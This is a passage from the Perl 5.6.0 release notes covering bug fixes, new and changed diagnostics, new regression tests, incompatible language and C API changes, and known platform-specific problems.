C<eval '...'> were often incorrect where here documents were involved.
This has been corrected.
Lexical lookups for variables appearing in C<eval '...'> within
functions that were themselves called within an C<eval '...'> were
searching the wrong place for lexicals. The lexical search now
correctly ends at the subroutine's block boundary.
The use of C<return> within C<eval {...}> caused $@ not to be reset
correctly when no exception occurred within the eval. This has
been fixed.
Parsing of here documents used to be flawed when they appeared as
the replacement expression in C<eval 's/.../.../e'>. This has
been fixed.
=head2 All compilation errors are true errors
Some "errors" encountered at compile time were by necessity
generated as warnings followed by eventual termination of the
program. This enabled more such errors to be reported in a
single run, rather than causing a hard stop at the first error
that was encountered.
The mechanism for reporting such errors has been reimplemented
to queue compile-time errors and report them at the end of the
compilation as true errors rather than as warnings. This fixes
cases where error messages leaked through in the form of warnings
when code was compiled at run time using C<eval STRING>, and
also allows such errors to be reliably trapped using C<eval "...">.
=head2 Implicitly closed filehandles are safer
Sometimes implicitly closed filehandles (as when they are localized,
and Perl automatically closes them on exiting the scope) could
inadvertently set $? or $!. This has been corrected.
=head2 Behavior of list slices is more consistent
When taking a slice of a literal list (as opposed to a slice of
an array or hash), Perl used to return an empty list if the
result happened to be composed of all undef values.
The new behavior is to produce an empty list if (and only if)
the original list was empty. Consider the following example:
@a = (1,undef,undef,2)[2,1,2];
The old behavior would have resulted in @a having no elements.
The new behavior ensures it has three undefined elements.
Note in particular that the behavior of slices of the following
cases remains unchanged:
@a = ()[1,2];
@a = (getpwent)[7,0];
@a = (anything_returning_empty_list())[2,1,2];
@a = @b[2,1,2];
@a = @c{'a','b','c'};
See L<perldata>.
=head2 C<(\$)> prototype and C<$foo{a}>
A scalar reference prototype now correctly allows a hash or
array element in that slot.
=head2 C<goto &sub> and AUTOLOAD
The C<goto &sub> construct works correctly when C<&sub> happens
to be autoloaded.
=head2 C<-bareword> allowed under C<use integer>
The autoquoting of barewords preceded by C<-> did not work
in prior versions when the C<integer> pragma was enabled.
This has been fixed.
=head2 Failures in DESTROY()
When code in a destructor threw an exception, it went unnoticed
in earlier versions of Perl, unless someone happened to be
looking in $@ just after the point the destructor happened to
run. Such failures are now visible as warnings when warnings are
enabled.
=head2 Locale bugs fixed
printf() and sprintf() previously reset the numeric locale
back to the default "C" locale. This has been fixed.
Numbers formatted according to the local numeric locale
(such as using a decimal comma instead of a decimal dot) caused
"isn't numeric" warnings, even while the operations accessing
those numbers produced correct results. These warnings have been
discontinued.
=head2 Memory leaks
The C<eval 'return sub {...}'> construct could sometimes leak
memory. This has been fixed.
Operations that aren't filehandle constructors used to leak memory
when used on invalid filehandles. This has been fixed.
Constructs that modified C<@_> could fail to deallocate values
in C<@_> and thus leak memory. This has been corrected.
=head2 Spurious subroutine stubs after failed subroutine calls
Perl could sometimes create empty subroutine stubs when a
subroutine was not found in the package. Such cases stopped
later method lookups from progressing into base packages.
This has been corrected.
=head2 Taint failures under C<-U>
When running in unsafe mode, taint violations could sometimes
cause silent failures. This has been fixed.
=head2 END blocks and the C<-c> switch
Prior versions used to run BEGIN B<and> END blocks when Perl was
run in compile-only mode. Since this is typically not the expected
behavior, END blocks are not executed anymore when the C<-c> switch
is used, or if compilation fails.
See L</"Support for CHECK blocks"> for how to run things when the compile
phase ends.
=head2 Potential to leak DATA filehandles
Using the C<__DATA__> token creates an implicit filehandle to
the file that contains the token. It is the program's
responsibility to close it when it is done reading from it.
This caveat is now better explained in the documentation.
See L<perldata>.
=head1 New or Changed Diagnostics
=over 4
=item "%s" variable %s masks earlier declaration in same %s
(W misc) A "my" or "our" variable has been redeclared in the current scope or statement,
effectively eliminating all access to the previous instance. This is almost
always a typographical error. Note that the earlier variable will still exist
until the end of the scope or until all closure referents to it are
destroyed.
=item "my sub" not yet implemented
(F) Lexically scoped subroutines are not yet implemented. Don't try that
yet.
=item "our" variable %s redeclared
(W misc) You seem to have already declared the same global once before in the
current lexical scope.
=item '!' allowed only after types %s
(F) The '!' is allowed in pack() and unpack() only after certain types.
See L<perlfunc/pack>.
=item / cannot take a count
(F) You had an unpack template indicating a counted-length string,
but you have also specified an explicit size for the string.
See L<perlfunc/pack>.
=item / must be followed by a, A or Z
(F) You had an unpack template indicating a counted-length string,
which must be followed by one of the letters a, A or Z
to indicate what sort of string is to be unpacked.
See L<perlfunc/pack>.
=item / must be followed by a*, A* or Z*
(F) You had a pack template indicating a counted-length string,
Currently the only things that can have their length counted are a*, A* or Z*.
See L<perlfunc/pack>.
=item / must follow a numeric type
(F) You had an unpack template that contained a '#',
but this did not follow some numeric unpack specification.
See L<perlfunc/pack>.
=item /%s/: Unrecognized escape \\%c passed through
(W regexp) You used a backslash-character combination which is not recognized
by Perl. This combination appears in an interpolated variable or a
C<'>-delimited regular expression. The character was understood literally.
=item /%s/: Unrecognized escape \\%c in character class passed through
(W regexp) You used a backslash-character combination which is not recognized
by Perl inside character classes. The character was understood literally.
=item /%s/ should probably be written as "%s"
(W syntax) You have used a pattern where Perl expected to find a string,
as in the first argument to C<join>. Perl will treat the true
or false result of matching the pattern against $_ as the string,
which is probably not what you had in mind.
=item %s() called too early to check prototype
(W prototype) You've called a function that has a prototype before the parser saw a
definition or declaration for it, and Perl could not check that the call
conforms to the prototype. You need to either add an early prototype
declaration for the subroutine in question, or move the subroutine
definition ahead of the call to get proper prototype checking. Alternatively,
if you are certain that you're calling the function correctly, you may put
an ampersand before the name to avoid the warning. See L<perlsub>.
=item %s argument is not a HASH or ARRAY element
(F) The argument to exists() must be a hash or array element, such as:
$foo{$bar}
$ref->{"susie"}[12]
=item %s argument is not a HASH or ARRAY element or slice
(F) The argument to delete() must be either a hash or array element, such as:
$foo{$bar}
$ref->{"susie"}[12]
or a hash or array slice, such as:
@foo[$bar, $baz, $xyzzy]
@{$ref->[12]}{"susie", "queue"}
=item %s argument is not a subroutine name
(F) The argument to exists() for C<exists &sub> must be a subroutine
name, and not a subroutine call. C<exists &sub()> will generate this error.
=item %s package attribute may clash with future reserved word: %s
(W reserved) A lowercase attribute name was used that had a package-specific handler.
That name might have a meaning to Perl itself some day, even though it
doesn't yet. Perhaps you should use a mixed-case attribute name, instead.
See L<attributes>.
=item (in cleanup) %s
(W misc) This prefix usually indicates that a DESTROY() method raised
the indicated exception. Since destructors are usually called by
the system at arbitrary points during execution, and often a vast
number of times, the warning is issued only once for any number
of failures that would otherwise result in the same message being
repeated.
Failure of user callbacks dispatched using the C<G_KEEPERR> flag
could also result in this warning. See L<perlcall/G_KEEPERR>.
=item <> should be quotes
(F) You wrote C<< require <file> >> when you should have written
C<require 'file'>.
=item Attempt to join self
(F) You tried to join a thread from within itself, which is an
impossible task. You may be joining the wrong thread, or you may
need to move the join() to some other thread.
=item Bad evalled substitution pattern
(F) You've used the /e switch to evaluate the replacement for a
substitution, but perl found a syntax error in the code to evaluate,
most likely an unexpected right brace '}'.
=item Bad realloc() ignored
(S) An internal routine called realloc() on something that had never been
malloc()ed in the first place. Mandatory, but can be disabled by
setting environment variable C<PERL_BADFREE> to 1.
=item Bareword found in conditional
(W bareword) The compiler found a bareword where it expected a conditional,
which often indicates that an || or && was parsed as part of the
last argument of the previous construct, for example:
open FOO || die;
It may also indicate a misspelled constant that has been interpreted
as a bareword:
use constant TYPO => 1;
if (TYOP) { print "foo" }
The C<strict> pragma is useful in avoiding such errors.
=item Binary number > 0b11111111111111111111111111111111 non-portable
(W portable) The binary number you specified is larger than 2**32-1
(4294967295) and therefore non-portable between systems. See
L<perlport> for more on portability concerns.
=item Bit vector size > 32 non-portable
(W portable) Using bit vector sizes larger than 32 is non-portable.
=item Buffer overflow in prime_env_iter: %s
(W internal) A warning peculiar to VMS. While Perl was preparing to iterate over
%ENV, it encountered a logical name or symbol definition which was too long,
so it was truncated to the string shown.
=item Can't check filesystem of script "%s"
(P) For some reason you can't check the filesystem of the script for nosuid.
=item Can't declare class for non-scalar %s in "%s"
(S) Currently, only scalar variables can declared with a specific class
qualifier in a "my" or "our" declaration. The semantics may be extended
for other types of variables in future.
=item Can't declare %s in "%s"
(F) Only scalar, array, and hash variables may be declared as "my" or
"our" variables. They must have ordinary identifiers as names.
=item Can't ignore signal CHLD, forcing to default
(W signal) Perl has detected that it is being run with the SIGCHLD signal
(sometimes known as SIGCLD) disabled. Since disabling this signal
will interfere with proper determination of exit status of child
processes, Perl has reset the signal to its default value.
This situation typically indicates that the parent program under
which Perl may be running (e.g., cron) is being very careless.
=item Can't modify non-lvalue subroutine call
(F) Subroutines meant to be used in lvalue context should be declared as
such, see L<perlsub/"Lvalue subroutines">.
=item Can't read CRTL environ
(S) A warning peculiar to VMS. Perl tried to read an element of %ENV
from the CRTL's internal environment array and discovered the array was
missing. You need to figure out where your CRTL misplaced its environ
or define F<PERL_ENV_TABLES> (see L<perlvms>) so that environ is not searched.
=item Can't remove %s: %s, skipping file
(S) You requested an inplace edit without creating a backup file. Perl
was unable to remove the original file to replace it with the modified
file. The file was left unmodified.
=item Can't return %s from lvalue subroutine
(F) Perl detected an attempt to return illegal lvalues (such
as temporary or readonly values) from a subroutine used as an lvalue.
This is not allowed.
=item Can't weaken a nonreference
(F) You attempted to weaken something that was not a reference. Only
references can be weakened.
=item Character class [:%s:] unknown
(F) The class in the character class [: :] syntax is unknown.
See L<perlre>.
=item Character class syntax [%s] belongs inside character classes
(W unsafe) The character class constructs [: :], [= =], and [. .] go
I<inside> character classes, the [] are part of the construct,
for example: /[012[:alpha:]345]/. Note that [= =] and [. .]
are not currently implemented; they are simply placeholders for
future extensions.
=item Constant is not %s reference
(F) A constant value (perhaps declared using the C<use constant> pragma)
is being dereferenced, but it amounts to the wrong type of reference. The
message indicates the type of reference that was expected. This usually
indicates a syntax error in dereferencing the constant value.
See L<perlsub/"Constant Functions"> and L<constant>.
=item constant(%s): %s
(F) The parser found inconsistencies either while attempting to define an
overloaded constant, or when trying to find the character name specified
in the C<\N{...}> escape. Perhaps you forgot to load the corresponding
C<overload> or C<charnames> pragma? See L<charnames> and L<overload>.
=item CORE::%s is not a keyword
(F) The CORE:: namespace is reserved for Perl keywords.
=item defined(@array) is deprecated
(D) defined() is not usually useful on arrays because it checks for an
undefined I<scalar> value. If you want to see if the array is empty,
just use C<if (@array) { # not empty }> for example.
=item defined(%hash) is deprecated
(D) defined() is not usually useful on hashes because it checks for an
undefined I<scalar> value. If you want to see if the hash is empty,
just use C<if (%hash) { # not empty }> for example.
=item Did not produce a valid header
See Server error.
=item (Did you mean "local" instead of "our"?)
(W misc) Remember that "our" does not localize the declared global variable.
You have declared it again in the same lexical scope, which seems superfluous.
=item Document contains no data
See Server error.
=item entering effective %s failed
(F) While under the C<use filetest> pragma, switching the real and
effective uids or gids failed.
=item false [] range "%s" in regexp
(W regexp) A character class range must start and end at a literal character, not
another character class like C<\d> or C<[:alpha:]>. The "-" in your false
range is interpreted as a literal "-". Consider quoting the "-", "\-".
See L<perlre>.
=item Filehandle %s opened only for output
(W io) You tried to read from a filehandle opened only for writing. If you
intended it to be a read/write filehandle, you needed to open it with
"+<" or "+>" or "+>>" instead of with "<" or nothing. If
you intended only to read from the file, use "<". See
L<perlfunc/open>.
=item flock() on closed filehandle %s
(W closed) The filehandle you're attempting to flock() got itself closed some
time before now. Check your logic flow. flock() operates on filehandles.
Are you attempting to call flock() on a dirhandle by the same name?
=item Global symbol "%s" requires explicit package name
(F) You've said "use strict vars", which indicates that all variables
must either be lexically scoped (using "my"), declared beforehand using
"our", or explicitly qualified to say which package the global variable
is in (using "::").
=item Hexadecimal number > 0xffffffff non-portable
(W portable) The hexadecimal number you specified is larger than 2**32-1
(4294967295) and therefore non-portable between systems. See
L<perlport> for more on portability concerns.
=item Ill-formed CRTL environ value "%s"
(W internal) A warning peculiar to VMS. Perl tried to read the CRTL's internal
environ array, and encountered an element without the C<=> delimiter
used to separate keys from values. The element is ignored.
=item Ill-formed message in prime_env_iter: |%s|
(W internal) A warning peculiar to VMS. Perl tried to read a logical name
or CLI symbol definition when preparing to iterate over %ENV, and
didn't see the expected delimiter between key and value, so the
line was ignored.
=item Illegal binary digit %s
(F) You used a digit other than 0 or 1 in a binary number.
=item Illegal binary digit %s ignored
(W digit) You may have tried to use a digit other than 0 or 1 in a binary number.
Interpretation of the binary number stopped before the offending digit.
=item Illegal number of bits in vec
(F) The number of bits in vec() (the third argument) must be a power of
two from 1 to 32 (or 64, if your platform supports that).
=item Integer overflow in %s number
(W overflow) The hexadecimal, octal or binary number you have specified either
as a literal or as an argument to hex() or oct() is too big for your
architecture, and has been converted to a floating point number. On a
32-bit architecture the largest hexadecimal, octal or binary number
representable without overflow is 0xFFFFFFFF, 037777777777, or
0b11111111111111111111111111111111 respectively. Note that Perl
transparently promotes all numbers to a floating point representation
internally--subject to loss of precision errors in subsequent
operations.
=item Invalid %s attribute: %s
The indicated attribute for a subroutine or variable was not recognized
by Perl or by a user-supplied handler. See L<attributes>.
=item Invalid %s attributes: %s
The indicated attributes for a subroutine or variable were not recognized
by Perl or by a user-supplied handler. See L<attributes>.
=item invalid [] range "%s" in regexp
The offending range is now explicitly displayed.
=item Invalid separator character %s in attribute list
(F) Something other than a colon or whitespace was seen between the
elements of an attribute list. If the previous attribute
had a parenthesised parameter list, perhaps that list was terminated
too soon. See L<attributes>.
=item Invalid separator character %s in subroutine attribute list
(F) Something other than a colon or whitespace was seen between the
elements of a subroutine attribute list. If the previous attribute
had a parenthesised parameter list, perhaps that list was terminated
too soon.
=item leaving effective %s failed
(F) While under the C<use filetest> pragma, switching the real and
effective uids or gids failed.
=item Lvalue subs returning %s not implemented yet
(F) Due to limitations in the current implementation, array and hash
values cannot be returned in subroutines used in lvalue context.
See L<perlsub/"Lvalue subroutines">.
=item Method %s not permitted
See Server error.
=item Missing %sbrace%s on \N{}
(F) Wrong syntax of character name literal C<\N{charname}> within
double-quotish context.
=item Missing command in piped open
(W pipe) You used the C<open(FH, "| command")> or C<open(FH, "command |")>
construction, but the command was missing or blank.
=item Missing name in "my sub"
(F) The reserved syntax for lexically scoped subroutines requires that they
have a name with which they can be found.
=item No %s specified for -%c
(F) The indicated command line switch needs a mandatory argument, but
you haven't specified one.
=item No package name allowed for variable %s in "our"
(F) Fully qualified variable names are not allowed in "our" declarations,
because that doesn't make much sense under existing semantics. Such
syntax is reserved for future extensions.
=item No space allowed after -%c
(F) The argument to the indicated command line switch must follow immediately
after the switch, without intervening spaces.
=item no UTC offset information; assuming local time is UTC
(S) A warning peculiar to VMS. Perl was unable to find the local
timezone offset, so it's assuming that local system time is equivalent
to UTC. If it's not, define the logical name F<SYS$TIMEZONE_DIFFERENTIAL>
to translate to the number of seconds which need to be added to UTC to
get local time.
=item Octal number > 037777777777 non-portable
(W portable) The octal number you specified is larger than 2**32-1 (4294967295)
and therefore non-portable between systems. See L<perlport> for more
on portability concerns.
See also L<perlport> for writing portable code.
=item panic: del_backref
(P) Failed an internal consistency check while trying to reset a weak
reference.
=item panic: kid popen errno read
(F) forked child returned an incomprehensible message about its errno.
=item panic: magic_killbackrefs
(P) Failed an internal consistency check while trying to reset all weak
references to an object.
=item Parentheses missing around "%s" list
(W parenthesis) You said something like
my $foo, $bar = @_;
when you meant
my ($foo, $bar) = @_;
Remember that "my", "our", and "local" bind tighter than comma.
=item Possible unintended interpolation of %s in string
(W ambiguous) It used to be that Perl would try to guess whether you
wanted an array interpolated or a literal @. It no longer does this;
arrays are now I<always> interpolated into strings. This means that
if you try something like:
print "fred@example.com";
and the array C<@example> doesn't exist, Perl is going to print
C<fred.com>, which is probably not what you wanted. To get a literal
C<@> sign in a string, put a backslash before it, just as you would
to get a literal C<$> sign.
=item Possible Y2K bug: %s
(W y2k) You are concatenating the number 19 with another number, which
could be a potential Year 2000 problem.
=item pragma "attrs" is deprecated, use "sub NAME : ATTRS" instead
(W deprecated) You have written something like this:
sub doit
{
use attrs qw(locked);
}
You should use the new declaration syntax instead.
sub doit : locked
{
...
The C<use attrs> pragma is now obsolete, and is only provided for
backward-compatibility. See L<perlsub/"Subroutine Attributes">.
=item Premature end of script headers
See Server error.
=item Repeat count in pack overflows
(F) You can't specify a repeat count so large that it overflows
your signed integers. See L<perlfunc/pack>.
=item Repeat count in unpack overflows
(F) You can't specify a repeat count so large that it overflows
your signed integers. See L<perlfunc/unpack>.
=item realloc() of freed memory ignored
(S) An internal routine called realloc() on something that had already
been freed.
=item Reference is already weak
(W misc) You have attempted to weaken a reference that is already weak.
Doing so has no effect.
=item setpgrp can't take arguments
(F) Your system has the setpgrp() from BSD 4.2, which takes no arguments,
unlike POSIX setpgid(), which takes a process ID and process group ID.
=item Strange *+?{} on zero-length expression
(W regexp) You applied a regular expression quantifier in a place where it
makes no sense, such as on a zero-width assertion.
Try putting the quantifier inside the assertion instead. For example,
the way to match "abc" provided that it is followed by three
repetitions of "xyz" is C</abc(?=(?:xyz){3})/>, not C</abc(?=xyz){3}/>.
=item switching effective %s is not implemented
(F) While under the C<use filetest> pragma, we cannot switch the
real and effective uids or gids.
=item This Perl can't reset CRTL environ elements (%s)
=item This Perl can't set CRTL environ elements (%s=%s)
(W internal) Warnings peculiar to VMS. You tried to change or delete an element
of the CRTL's internal environ array, but your copy of Perl wasn't
built with a CRTL that contained the setenv() function. You'll need to
rebuild Perl with a CRTL that does, or redefine F<PERL_ENV_TABLES> (see
L<perlvms>) so that the environ array isn't the target of the change to
%ENV which produced the warning.
=item Too late to run %s block
(W void) A CHECK or INIT block is being defined during run time proper,
when the opportunity to run them has already passed. Perhaps you are
loading a file with C<require> or C<do> when you should be using
C<use> instead. Or perhaps you should put the C<require> or C<do>
inside a BEGIN block.
=item Unknown open() mode '%s'
(F) The second argument of 3-argument open() is not among the list
of valid modes: C<< < >>, C<< > >>, C<<< >> >>>, C<< +< >>,
C<< +> >>, C<<< +>> >>>, C<-|>, C<|->.
=item Unknown process %x sent message to prime_env_iter: %s
(P) An error peculiar to VMS. Perl was reading values for %ENV before
iterating over it, and someone else stuck a message in the stream of
data Perl expected. Someone's very confused, or perhaps trying to
subvert Perl's population of %ENV for nefarious purposes.
=item Unrecognized escape \\%c passed through
(W misc) You used a backslash-character combination which is not recognized
by Perl. The character was understood literally.
=item Unterminated attribute parameter in attribute list
(F) The lexer saw an opening (left) parenthesis character while parsing an
attribute list, but the matching closing (right) parenthesis
character was not found. You may need to add (or remove) a backslash
character to get your parentheses to balance. See L<attributes>.
=item Unterminated attribute list
(F) The lexer found something other than a simple identifier at the start
of an attribute, and it wasn't a semicolon or the start of a
block. Perhaps you terminated the parameter list of the previous attribute
too soon. See L<attributes>.
=item Unterminated attribute parameter in subroutine attribute list
(F) The lexer saw an opening (left) parenthesis character while parsing a
subroutine attribute list, but the matching closing (right) parenthesis
character was not found. You may need to add (or remove) a backslash
character to get your parentheses to balance.
=item Unterminated subroutine attribute list
(F) The lexer found something other than a simple identifier at the start
of a subroutine attribute, and it wasn't a semicolon or the start of a
block. Perhaps you terminated the parameter list of the previous attribute
too soon.
=item Value of CLI symbol "%s" too long
(W misc) A warning peculiar to VMS. Perl tried to read the value of an %ENV
element from a CLI symbol table, and found a resultant string longer
than 1024 characters. The return value has been truncated to 1024
characters.
=item Version number must be a constant number
(P) The attempt to translate a C<use Module n.n LIST> statement into
its equivalent C<BEGIN> block found an internal inconsistency with
the version number.
=back
=head1 New tests
=over 4
=item lib/attrs
Compatibility tests for C<sub : attrs> vs the older C<use attrs>.
=item lib/env
Tests for new environment scalar capability (e.g., C<use Env qw($BAR);>).
=item lib/env-array
Tests for new environment array capability (e.g., C<use Env qw(@PATH);>).
=item lib/io_const
IO constants (SEEK_*, _IO*).
=item lib/io_dir
Directory-related IO methods (new, read, close, rewind, tied delete).
=item lib/io_multihomed
INET sockets with multi-homed hosts.
=item lib/io_poll
IO poll().
=item lib/io_unix
UNIX sockets.
=item op/attrs
Regression tests for C<my ($x,@y,%z) : attrs> and <sub : attrs>.
=item op/filetest
File test operators.
=item op/lex_assign
Verify operations that access pad objects (lexicals and temporaries).
=item op/exists_sub
Verify C<exists &sub> operations.
=back
=head1 Incompatible Changes
=head2 Perl Source Incompatibilities
Beware that any new warnings that have been added or old ones
that have been enhanced are B<not> considered incompatible changes.
Since all new warnings must be explicitly requested via the C<-w>
switch or the C<warnings> pragma, it is ultimately the programmer's
responsibility to ensure that warnings are enabled judiciously.
=over 4
=item CHECK is a new keyword
All subroutine definitions named CHECK are now special. See
C</"Support for CHECK blocks"> for more information.
=item Treatment of list slices of undef has changed
There is a potential incompatibility in the behavior of list slices
that are comprised entirely of undefined values.
See L</"Behavior of list slices is more consistent">.
=item Format of $English::PERL_VERSION is different
The English module now sets $PERL_VERSION to $^V (a string value) rather
than C<$]> (a numeric value). This is a potential incompatibility.
Send us a report via perlbug if you are affected by this.
See L</"Improved Perl version numbering system"> for the reasons for
this change.
=item Literals of the form C<1.2.3> parse differently
Previously, numeric literals with more than one dot in them were
interpreted as a floating point number concatenated with one or more
numbers. Such "numbers" are now parsed as strings composed of the
specified ordinals.
For example, C<print 97.98.99> used to output C<97.9899> in earlier
versions, but now prints C<abc>.
See L</"Support for strings represented as a vector of ordinals">.
=item Possibly changed pseudo-random number generator
Perl programs that depend on reproducing a specific set of pseudo-random
numbers may now produce different output due to improvements made to the
rand() builtin. You can use C<sh Configure -Drandfunc=rand> to obtain
the old behavior.
See L</"Better pseudo-random number generator">.
=item Hashing function for hash keys has changed
Even though Perl hashes are not order preserving, the apparently
random order encountered when iterating on the contents of a hash
is actually determined by the hashing algorithm used. Improvements
in the algorithm may yield a random order that is B<different> from
that of previous versions, especially when iterating on hashes.
See L</"Better worst-case behavior of hashes"> for additional
information.
=item C<undef> fails on read only values
Using the C<undef> operator on a readonly value (such as $1) has
the same effect as assigning C<undef> to the readonly value--it
throws an exception.
=item Close-on-exec bit may be set on pipe and socket handles
Pipe and socket handles are also now subject to the close-on-exec
behavior determined by the special variable $^F.
See L</"More consistent close-on-exec behavior">.
=item Writing C<"$$1"> to mean C<"${$}1"> is unsupported
Perl 5.004 deprecated the interpretation of C<$$1> and
similar within interpolated strings to mean C<$$ . "1">,
but still allowed it.
In Perl 5.6.0 and later, C<"$$1"> always means C<"${$1}">.
=item delete(), each(), values() and C<\(%h)>
operate on aliases to values, not copies
delete(), each(), values() and hashes (e.g. C<\(%h)>)
in a list context return the actual
values in the hash, instead of copies (as they used to in earlier
versions). Typical idioms for using these constructs copy the
returned values, but this can make a significant difference when
creating references to the returned values. Keys in the hash are still
returned as copies when iterating on a hash.
See also L</"delete(), each(), values() and hash iteration are faster">.
=item vec(EXPR,OFFSET,BITS) enforces powers-of-two BITS
vec() generates a run-time error if the BITS argument is not
a valid power-of-two integer.
=item Text of some diagnostic output has changed
Most references to internal Perl operations in diagnostics
have been changed to be more descriptive. This may be an
issue for programs that may incorrectly rely on the exact
text of diagnostics for proper functioning.
=item C<%@> has been removed
The undocumented special variable C<%@> that used to accumulate
"background" errors (such as those that happen in DESTROY())
has been removed, because it could potentially result in memory
leaks.
=item Parenthesized not() behaves like a list operator
The C<not> operator now falls under the "if it looks like a function,
it behaves like a function" rule.
As a result, the parenthesized form can be used with C<grep> and C<map>.
The following construct used to be a syntax error before, but it works
as expected now:
grep not($_), @things;
On the other hand, using C<not> with a literal list slice may not
work. The following previously allowed construct:
print not (1,2,3)[0];
needs to be written with additional parentheses now:
print not((1,2,3)[0]);
The behavior remains unaffected when C<not> is not followed by parentheses.
=item Semantics of bareword prototype C<(*)> have changed
The semantics of the bareword prototype C<*> have changed. Perl 5.005
always coerced simple scalar arguments to a typeglob, which wasn't useful
in situations where the subroutine must distinguish between a simple
scalar and a typeglob. The new behavior is to not coerce bareword
arguments to a typeglob. The value will always be visible as either
a simple scalar or as a reference to a typeglob.
See L</"More functional bareword prototype (*)">.
=item Semantics of bit operators may have changed on 64-bit platforms
If your platform is either natively 64-bit or if Perl has been
configured to used 64-bit integers, i.e., $Config{ivsize} is 8,
there may be a potential incompatibility in the behavior of bitwise
numeric operators (& | ^ ~ << >>). These operators used to strictly
operate on the lower 32 bits of integers in previous versions, but now
operate over the entire native integral width. In particular, note
that unary C<~> will produce different results on platforms that have
different $Config{ivsize}. For portability, be sure to mask off
the excess bits in the result of unary C<~>, e.g., C<~$x & 0xffffffff>.
See L</"Bit operators support full native integer width">.
=item More builtins taint their results
As described in L</"Improved security features">, there may be more
sources of taint in a Perl program.
To avoid these new tainting behaviors, you can build Perl with the
Configure option C<-Accflags=-DINCOMPLETE_TAINTS>. Beware that the
ensuing perl binary may be insecure.
=back
=head2 C Source Incompatibilities
=over 4
=item C<PERL_POLLUTE>
Release 5.005 grandfathered old global symbol names by providing preprocessor
macros for extension source compatibility. As of release 5.6.0, these
preprocessor definitions are not available by default. You need to explicitly
compile perl with C<-DPERL_POLLUTE> to get these definitions. For
extensions still using the old symbols, this option can be
specified via MakeMaker:
perl Makefile.PL POLLUTE=1
=item C<PERL_IMPLICIT_CONTEXT>
This new build option provides a set of macros for all API functions
such that an implicit interpreter/thread context argument is passed to
every API function. As a result of this, something like C<sv_setsv(foo,bar)>
amounts to a macro invocation that actually translates to something like
C<Perl_sv_setsv(my_perl,foo,bar)>. While this is generally expected
to not have any significant source compatibility issues, the difference
between a macro and a real function call will need to be considered.
This means that there B<is> a source compatibility issue as a result of
this if your extensions attempt to use pointers to any of the Perl API
functions.
Note that the above issue is not relevant to the default build of
Perl, whose interfaces continue to match those of prior versions
(but subject to the other options described here).
See L<perlguts/"The Perl API"> for detailed information on the
ramifications of building Perl with this option.
NOTE: PERL_IMPLICIT_CONTEXT is automatically enabled whenever Perl is built
with one of -Dusethreads, -Dusemultiplicity, or both. It is not
intended to be enabled by users at this time.
=item C<PERL_POLLUTE_MALLOC>
Enabling Perl's malloc in release 5.005 and earlier caused the namespace of
the system's malloc family of functions to be usurped by the Perl versions,
since by default they used the same names. Besides causing problems on
platforms that do not allow these functions to be cleanly replaced, this
also meant that the system versions could not be called in programs that
used Perl's malloc. Previous versions of Perl have allowed this behaviour
to be suppressed with the HIDEMYMALLOC and EMBEDMYMALLOC preprocessor
definitions.
As of release 5.6.0, Perl's malloc family of functions have default names
distinct from the system versions. You need to explicitly compile perl with
C<-DPERL_POLLUTE_MALLOC> to get the older behaviour. HIDEMYMALLOC
and EMBEDMYMALLOC have no effect, since the behaviour they enabled is now
the default.
Note that these functions do B<not> constitute Perl's memory allocation API.
See L<perlguts/"Memory Allocation"> for further information about that.
=back
=head2 Compatible C Source API Changes
=over 4
=item C<PATCHLEVEL> is now C<PERL_VERSION>
The cpp macros C<PERL_REVISION>, C<PERL_VERSION>, and C<PERL_SUBVERSION>
are now available by default from perl.h, and reflect the base revision,
patchlevel, and subversion respectively. C<PERL_REVISION> had no
prior equivalent, while C<PERL_VERSION> and C<PERL_SUBVERSION> were
previously available as C<PATCHLEVEL> and C<SUBVERSION>.
The new names cause less pollution of the B<cpp> namespace and reflect what
the numbers have come to stand for in common practice. For compatibility,
the old names are still supported when F<patchlevel.h> is explicitly
included (as required before), so there is no source incompatibility
from the change.
=back
=head2 Binary Incompatibilities
In general, the default build of this release is expected to be binary
compatible for extensions built with the 5.005 release or its maintenance
versions. However, specific platforms may have broken binary compatibility
due to changes in the defaults used in hints files. Therefore, please be
sure to always check the platform-specific README files for any notes to
the contrary.
The usethreads or usemultiplicity builds are B<not> binary compatible
with the corresponding builds in 5.005.
On platforms that require an explicit list of exports (AIX, OS/2 and Windows,
among others), purely internal symbols such as parser functions and the
run time opcodes are not exported by default. Perl 5.005 used to export
all functions irrespective of whether they were considered part of the
public API or not.
For the full list of public API functions, see L<perlapi>.
=head1 Known Problems
=head2 Thread test failures
The subtests 19 and 20 of lib/thr5005.t test are known to fail due to
fundamental problems in the 5.005 threading implementation. These are
not new failures--Perl 5.005_0x has the same bugs, but didn't have these
tests.
=head2 EBCDIC platforms not supported
In earlier releases of Perl, EBCDIC environments like OS390 (also
known as Open Edition MVS) and VM-ESA were supported. Due to changes
required by the UTF-8 (Unicode) support, the EBCDIC platforms are not
supported in Perl 5.6.0.
=head2 In 64-bit HP-UX the lib/io_multihomed test may hang
The lib/io_multihomed test may hang in HP-UX if Perl has been
configured to be 64-bit. Because other 64-bit platforms do not
hang in this test, HP-UX is suspect. All other tests pass
in 64-bit HP-UX. The test attempts to create and connect to
"multihomed" sockets (sockets which have multiple IP addresses).
=head2 NEXTSTEP 3.3 POSIX test failure
In NEXTSTEP 3.3p2 the implementation of the strftime(3) in the
operating system libraries is buggy: the %j format numbers the days of
a month starting from zero, which, while being logical to programmers,
will cause the subtests 19 to 27 of the lib/posix test may fail.
=head2 Tru64 (aka Digital UNIX, aka DEC OSF/1) lib/sdbm test failure with gcc
If compiled with gcc 2.95 the lib/sdbm test will fail (dump core).
The cure is to use the vendor cc, it comes with the operating system
and produces good code.
=head2 UNICOS/mk CC failures during Configure run
In UNICOS/mk the following errors may appear during the Configure run:
Guessing which symbols your C compiler and preprocessor define...
CC-20 cc: ERROR File = try.c, Line = 3
...
bad switch yylook 79bad switch yylook 79bad switch yylook 79bad switch yylook 79#ifdef A29K
...
4 errors detected in the compilation of "try.c".
The culprit is the broken awk of UNICOS/mk. The effect is fortunately
rather mild: Perl itself is not adversely affected by the error, only
the h2ph utility coming with Perl, and that is rather rarely needed
these days.
=head2 Arrow operator and arrays
When the left argument to the arrow operator C<< -> >> is an array, or
the C<scalar> operator operating on an array, the result of the
operation must be considered erroneous. For example:
@x->[2]
scalar(@x)->[2]
These expressions will get run-time errors in some future release of
Perl.
=head2 Experimental features
As discussed above, many features are still experimental. Interfaces and
implementation of these features are subject to change, and in extreme cases,
even subject to removal in some future release of Perl. These features
include the following:
=over 4
=item Threads
=item Unicode
=item 64-bit support
=item Lvalue subroutines
=item Weak references
=item The pseudo-hash data type
=item The Compiler suite
=item Internal implementation of file globbing
=item The DB module
